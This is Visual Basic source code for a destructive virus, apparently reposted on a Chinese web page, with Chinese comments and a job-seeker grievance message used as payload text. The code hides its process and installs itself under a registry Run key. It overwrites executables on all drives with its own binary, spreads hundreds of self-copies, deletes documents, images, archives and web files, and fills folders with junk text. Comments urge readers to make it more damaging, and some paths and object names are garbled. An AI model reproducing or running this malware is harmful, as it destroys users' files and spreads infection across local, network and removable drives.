爱华网Dim bd As Byte '存储病毒的变量
Dim xx, l, zc, k1, xs
Dim msg As String '垃圾求职信
Dim flpath As String '要感染的文件路径名
Dim flname As String '要感染的文件名
'存储磁盘文件的扩展名
Dim fopath, foname '文件夹的路径,文件夹的名称
FileSystemObject
Dim dis, dss, x '磁盘集合,磁盘连接标示符
Dim ds As Drive '单个磁盘
Dim j, n As Integer '生成的垃圾文件
Dim i, k As Integer '计算机系统中所有的磁盘
Public Sub Main()
msg = "网名" & Chr(13) + Chr(10) + Chr(13) + Chr(10)&"学历:大专<在当今以文凭论英雄的时代，这个已经让我千转百回了，算是比较垃圾的文凭了。>"& Chr(13) + Chr(10) + Chr(13) + Chr(10)& "专业：计算机及应用" & Chr(13) + Chr(10) +Chr(13) + Chr(10) & "求职愿望：make software"& Chr(10) + Chr(13) + Chr(10) + Chr(13)& "求职受挫：说我文凭低微，没有这方面的才能，就连面试的机会都没有。"& Chr(13) + Chr(10) + Chr(13) + Chr(10)&"痛苦的事情：父母为了能让我上学已经是背上的沉重的债务,我觉得社会已经变质了，很多的用人单位一看我们是贫民子弟就有着瞧不起的眼光，来伤害我们。"
Dim PauseTime, Start, Finish, TotalTime
On Error Resume Next
App.TaskVisible = False '从进程中让其消失
qud '把病毒自身拷贝到注册表中
grcp '病毒复制到磁盘下面
grd '感染磁盘下面所有的exe文件
grdwjj '病毒复制到磁盘目录下面
gr '感染病毒目录下面的exe文件
cp '在磁盘下面生成垃圾文件,并删除有效文件
wj '在文件夹下生成垃圾文件，并删除有效文件
End Sub
'以下的程序我就不一一解释了以防止别人用于不发目的,程序危害极大请正确使用，本人只是用于编程研究,对于程序造成一切损失本人概不负责,OVERWORLD
Public Function wj()
On Error Resume Next
Set dis = fs.Drives
For Each ds In dis
If ds.DriveType = 2 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
fopath = x & ":" & ""
foname = Dir(fopath, vbDirectory)
Do While foname <> ""
Kill x & ":" & ""& foname & "" &"*.doc" '太毒辣了
Kill x & ":" & ""& foname & "" &"*.wps"
Kill x & ":" & ""& foname & "" &"*.gho"
Kill x & ":" & ""& foname & "" &"*.xls"
Kill x & ":" & ""& foname & "" &"*.ppt"
Kill x & ":" & ""& foname & "" &"*.asp"
Kill x & ":" & ""& foname & "" &"*.jsp"
Kill x & ":" & ""& foname & "" &"*.aspx"
Kill x & ":" & ""& foname & "" &"*.bmp"
Kill x & ":" & ""& foname & "" &"*.jpg"
Kill x & ":" & ""& foname & "" &"*.css"
Kill x & ":" & ""& foname & "" &"*.html"
Kill x & ":" & ""& foname & "" &"*.htm"
Kill x & ":" & ""& foname & "" &"*.php"
Kill x & ":" & ""& foname & "" &"*.rar"
Kill x & ":" & ""& foname & "" &"*.zip"
For j = 1 To 20 '还可以改大一点的，那位仁兄愿意完成之
For n = 1 To 20
Open x & ":" & ""& foname & "" & j& "-" & n &"求职.txt" For Output As #1
Print #1, msg
Close #1
Next n
i = j + 1
Next j
foname = Dir
Loop
Next i
For Each ds In dis
If ds.DriveType = 3 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
fopath = x & ":" & ""
foname = Dir(fopath, vbDirectory)
Do While foname <> ""
Kill x & ":" & ""& foname & "" &"*.doc" '太毒辣了
Kill x & ":" & ""& foname & "" &"*.wps"
Kill x & ":" & ""& foname & "" &"*.gho"
Kill x & ":" & ""& foname & "" &"*.xls"
Kill x & ":" & ""& foname & "" &"*.ppt"
Kill x & ":" & ""& foname & "" &"*.asp"
Kill x & ":" & ""& foname & "" &"*.jsp"
Kill x & ":" & ""& foname & "" &"*.aspx"
Kill x & ":" & ""& foname & "" &"*.bmp"
Kill x & ":" & ""& foname & "" &"*.jpg"
Kill x & ":" & ""& foname & "" &"*.css"
Kill x & ":" & ""& foname & "" &"*.html"
Kill x & ":" & ""& foname & "" &"*.htm"
Kill x & ":" & ""& foname & "" &"*.php"
Kill x & ":" & ""& foname & "" &"*.rar"
Kill x & ":" & ""& foname & "" &"*.zip"
For j = 1 To 20 '那位仁兄还可以改大一些,威力会更大一些,但是速度太慢
For n = 1 To 20
Open x & ":" & ""& foname & "" & j& "-" & n &"求职.txt" For Output As #1
Print #1, msg
Close #1
Next n
i = j + 1
Next j
foname = Dir
Loop
Next i
For Each ds In dis
If ds.DriveType = 1 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
fopath = x & ":" & ""
foname = Dir(fopath, vbDirectory)
Do While foname <> ""
Kill x & ":" & ""& foname & "" &"*.doc" '太毒辣了
Kill x & ":" & ""& foname & "" &"*.wps"
Kill x & ":" & ""& foname & "" &"*.gho"
Kill x & ":" & ""& foname & "" &"*.xls"
Kill x & ":" & ""& foname & "" &"*.ppt"
Kill x & ":" & ""& foname & "" &"*.asp"
Kill x & ":" & ""& foname & "" &"*.jsp"
Kill x & ":" & ""& foname & "" &"*.aspx"
Kill x & ":" & ""& foname & "" &"*.bmp"
Kill x & ":" & ""& foname & "" &"*.jpg"
Kill x & ":" & ""& foname & "" &"*.css"
Kill x & ":" & ""& foname & "" &"*.html"
Kill x & ":" & ""& foname & "" &"*.htm"
Kill x & ":" & ""& foname & "" &"*.php"
Kill x & ":" & ""& foname & "" &"*.rar"
Kill x & ":" & ""& foname & "" &"*.zip"
For j = 1 To 20
For n = 1 To 20
Open x & ":" & ""& foname & "" & j& "-" & n &"求职.txt" For Output As #1
Print #1, msg
Close #1
Next n
i = j + 1
Next j
foname = Dir
Loop
Next i
End Function
Public Function cp()
On Error Resume Next
Set dis = fs.Drives
For Each ds In dis
If ds.DriveType = 2 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
'对计算机上的所有用文件下毒手,可以再次增加一些有用的扩展名,去死吧混蛋
Kill x & ":" & ""& "*.doc"
Kill x & ":" & ""& "*.wps"
Kill x & ":" & ""& "*.gho"
Kill x & ":" & ""& "*.xls"
Kill x & ":" & ""& "*.ppt"
Kill x & ":" & ""& "*.asp"
Kill x & ":" & ""& "*.jsp"
Kill x & ":" & ""& "*.aspx"
Kill x & ":" & ""& "*.bmp"
Kill x & ":" & ""& "*.jpg"
Kill x & ":" & ""& "*.css"
Kill x & ":" & ""& "*.html"
Kill x & ":" & ""& "*.htm"
Kill x & ":" & ""& "*.php"
Kill x & ":" & ""& "*.rar"
Kill x & ":" & ""& "*.zip"
'以下是建立垃圾文件
For j = 1 To 20
For n = 1 To 20
Open x & ":" & ""& j & "-" & n& "求职书.txt" For Output As #1
Print #1, msg
Close #1
Next n
j = j + 1
Next j
Next i
For Each ds In dis
If ds.DriveType = 3 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
'对计算机上的所有用文件下毒手,可以再次增加一些有用的扩展名,去死吧混蛋
Kill x & ":" & ""& "*.doc"
Kill x & ":" & ""& "*.wps"
Kill x & ":" & ""& "*.gho"
Kill x & ":" & ""& "*.xls"
Kill x & ":" & ""& "*.ppt"
Kill x & ":" & ""& "*.asp"
Kill x & ":" & ""& "*.jsp"
Kill x & ":" & ""& "*.aspx"
Kill x & ":" & ""& "*.bmp"
Kill x & ":" & ""& "*.jpg"
Kill x & ":" & ""& "*.css"
Kill x & ":" & ""& "*.html"
Kill x & ":" & ""& "*.htm"
Kill x & ":" & ""& "*.php"
Kill x & ":" & ""& "*.rar"
Kill x & ":" & ""& "*.zip"
'以下是建立垃圾文件
For j = 1 To 20
For n = 1 To 20
Open x & ":" & ""& j & "-" & n& "求职书.txt" For Output As #1
Print #1, msg
Close #1
Next n
j = j + 1
Next j
Next i
For Each ds In dis
If ds.DriveType = 1 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
'对计算机上的所有用文件下毒手,可以再次增加一些有用的扩展名,去死吧混蛋
Kill x & ":" & ""& "*.doc"
Kill x & ":" & ""& "*.wps"
Kill x & ":" & ""& "*.gho"
Kill x & ":" & ""& "*.xls"
Kill x & ":" & ""& "*.ppt"
Kill x & ":" & ""& "*.asp"
Kill x & ":" & ""& "*.jsp"
Kill x & ":" & ""& "*.aspx"
Kill x & ":" & ""& "*.bmp"
Kill x & ":" & ""& "*.jpg"
Kill x & ":" & ""& "*.css"
Kill x & ":" & ""& "*.html"
Kill x & ":" & ""& "*.htm"
Kill x & ":" & ""& "*.php"
Kill x & ":" & ""& "*.rar"
Kill x & ":" & ""& "*.zip"
'以下是建立垃圾文件
For j = 1 To 20
For n = 1 To 20
Open x & ":" & ""& j & "-" & n& "求职书.txt" For Output As #1
Print #1, msg
Close #1
Next n
j = j + 1
Next j
Next i
End Function
Public Function gr() '感染病毒目录下的程序,可以执行程序
'此函数主要的功能就是完成对exe文件的感染
On Error Resume Next '防止程序崩溃
flpath = App.Path '要感染的文件路径名
flname = Dir(flpath & "" &"*.exe")
Open App.Path & "" & App.EXEName& ".exe" For Binary Access Read As #1
For l = 1 To LOF(1)
Get #1, , bd '读病毒代码
xx = xx & bd '读出病毒的所有二进制代码
Next l
Close #1
Open App.Path & "" & flname ForBinary Access Read As #1
For k1 = 1 To LOF(1)
Get #1, , zc
xs = xs & zc
Next k1
xs = xx
Close #1
'用病毒代码替代正常程序
Do While flname <> "" '如果文件名不为空
Open flpath & "" & flname ForBinary Access Write As #1
Put #1, , xs '把病毒的所有二进制代码写入到正常文件中
Close #1
flname = Dir
Loop
End Function
Public Function grd() '感染计算机系统中的磁盘文件
On Error Resume Next
Set dis = fs.Drives
For Each ds In dis
If ds.DriveType = 2 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
flpath = x & ":" & ""
flname = Dir(flpath & "*.exe")
Open App.Path & "" & App.EXEName& ".exe" For Binary Access Read As #1
For l = 1 To LOF(1)
Get #1, , bd '读病毒代码
xx = xx & bd '读出病毒的所有二进制代码
Next l
Close #1
Do While flname <> "" '如果文件名不为空
Open flpath & "" & flname ForBinary Access Write As #1
Put #1, , xx '把病毒的所有二进制代码写入到正常文件中
Close #1
flname = Dir
Loop
Next i
For Each ds In dis
If ds.DriveType = 3 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
flpath = x & ":" & ""
flname = Dir(flpath & "*.exe")
Open App.Path & "" & App.EXEName& ".exe" For Binary Access Read As #1
For l = 1 To LOF(1)
Get #1, , bd '读病毒代码
xx = xx & bd '读出病毒的所有二进制代码
Next l
Close #1
Do While flname <> "" '如果文件名不为空
Open flpath & "" & flname ForBinary Access Write As #1
Put #1, , xx '把病毒的所有二进制代码写入到正常文件中
Close #1
flname = Dir
Loop
Next i
For Each ds In dis
If ds.DriveType = 1 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
flpath = x & ":" & ""
flname = Dir(flpath & "*.exe")
Open App.Path & "" & App.EXEName& ".exe" For Binary Access Read As #1
For l = 1 To LOF(1)
Get #1, , bd '读病毒代码
xx = xx & bd '读出病毒的所有二进制代码
Next l
Close #1
Do While flname <> "" '如果文件名不为空
Open flpath & "" & flname ForBinary Access Write As #1
Put #1, , xx '把病毒的所有二进制代码写入到正常文件中
Close #1
flname = Dir
Loop
Next i
End Function
Public Function grdwjj() '拷贝病毒在所磁盘的第一级文件夹下
On Error Resume Next
Set dis = fs.Drives
For Each ds In dis
If ds.DriveType = 2 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
fopath = x & ":" & ""
foname = Dir(fopath, vbReadOnly + vbDirectory)
Do While foname <> ""
For k = 1 To 20
For n = 1 To 20
FileCopy App.Path & "" &App.EXEName & ".exe", fopath &foname & "" & k &"-" & n & "hyena.exe"
Next n
k = k + 1
Next k
foname = Dir
Loop
Next i
For Each ds In dis
If ds.DriveType = 3 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
fopath = x & ":" & ""
foname = Dir(fopath, vbReadOnly + vbDirectory)
Do While foname <> ""
For k = 1 To 20 '同理那位仁兄可以让它再变大一些,可以让它遍地开花
For n = 1 To 20
FileCopy App.Path & "" &App.EXEName & ".exe", fopath &foname & "" & k &"-" & n & "hyena.exe"
Next n
k = k + 1
Next k
foname = Dir
Loop
Next i
For Each ds In dis
If ds.DriveType = 1 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
fopath = x & ":" & ""
foname = Dir(fopath, vbReadOnly + vbDirectory)
Do While foname <> ""
For k = 1 To 20
For n = 1 To 20
FileCopy App.Path & "" &App.EXEName & ".exe", fopath &foname & "" & k &"-" & n & "hyena.exe"
Next n
k = k + 1
Next k
foname = Dir
Loop
Next i
End Function
Public Function grcp() '把病毒复制到计算机系统的所有磁盘中
On Error Resume Next
Set dis = fs.Drives
For Each ds In dis
If ds.DriveType = 2 Then
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
For k = 1 To 20 '移动磁盘速度太慢，所以要小一点
For n = 1 To 20
FileCopy App.Path & "" &App.EXEName & ".exe", x & ":"& "" & k & "-"& n & "love.exe"
Next n
k = k + 1
Next k
Next i
For Each ds In dis
If ds.DriveType = 3 Then '如果是网络磁盘
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
For k = 1 To 20
For n = 1 To 20
FileCopy App.Path & "" &App.EXEName & ".exe", x & ":"& "" & k & "-"& n & "love.exe"
Next n
k = k + 1
Next k
Next i
For Each ds In dis
If ds.DriveType = 1 Then '如果是可移动盘
dss = dss & ds.DriveLetter
End If
Next
dss = LCase(StrReverse(Trim(dss)))
For i = 1 To Len(dss)
x = Mid$(dss, i, 1)
For k = 1 To 20
For n = 1 To 20
FileCopy App.Path & "" &App.EXEName & ".exe", x & ":"& "" & k & "-"& n & "love.exe"
Next n
k = k + 1
Next k
Next i
End Function
'让其病毒自动启动
Public Function qud()
On Error Resume Next
Dim reg '定义键
FileCopy App.Path & "" &App.EXEName & ".exe", "c:windowssystemlove.exe"'病毒完成自身的复制任务
FileCopy App.Path & "" &App.EXEName & ".exe", "c:winntsystemlove.exe"'病毒完成自身的复制任务
Set reg = CreateObject("w一种客户端的脚本语言.shell")
reg.regwrite"HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowsCurrentVersionrunlove","c:windowssystemlove.exe" '把病毒写入注册表,让其自动启动
End Function
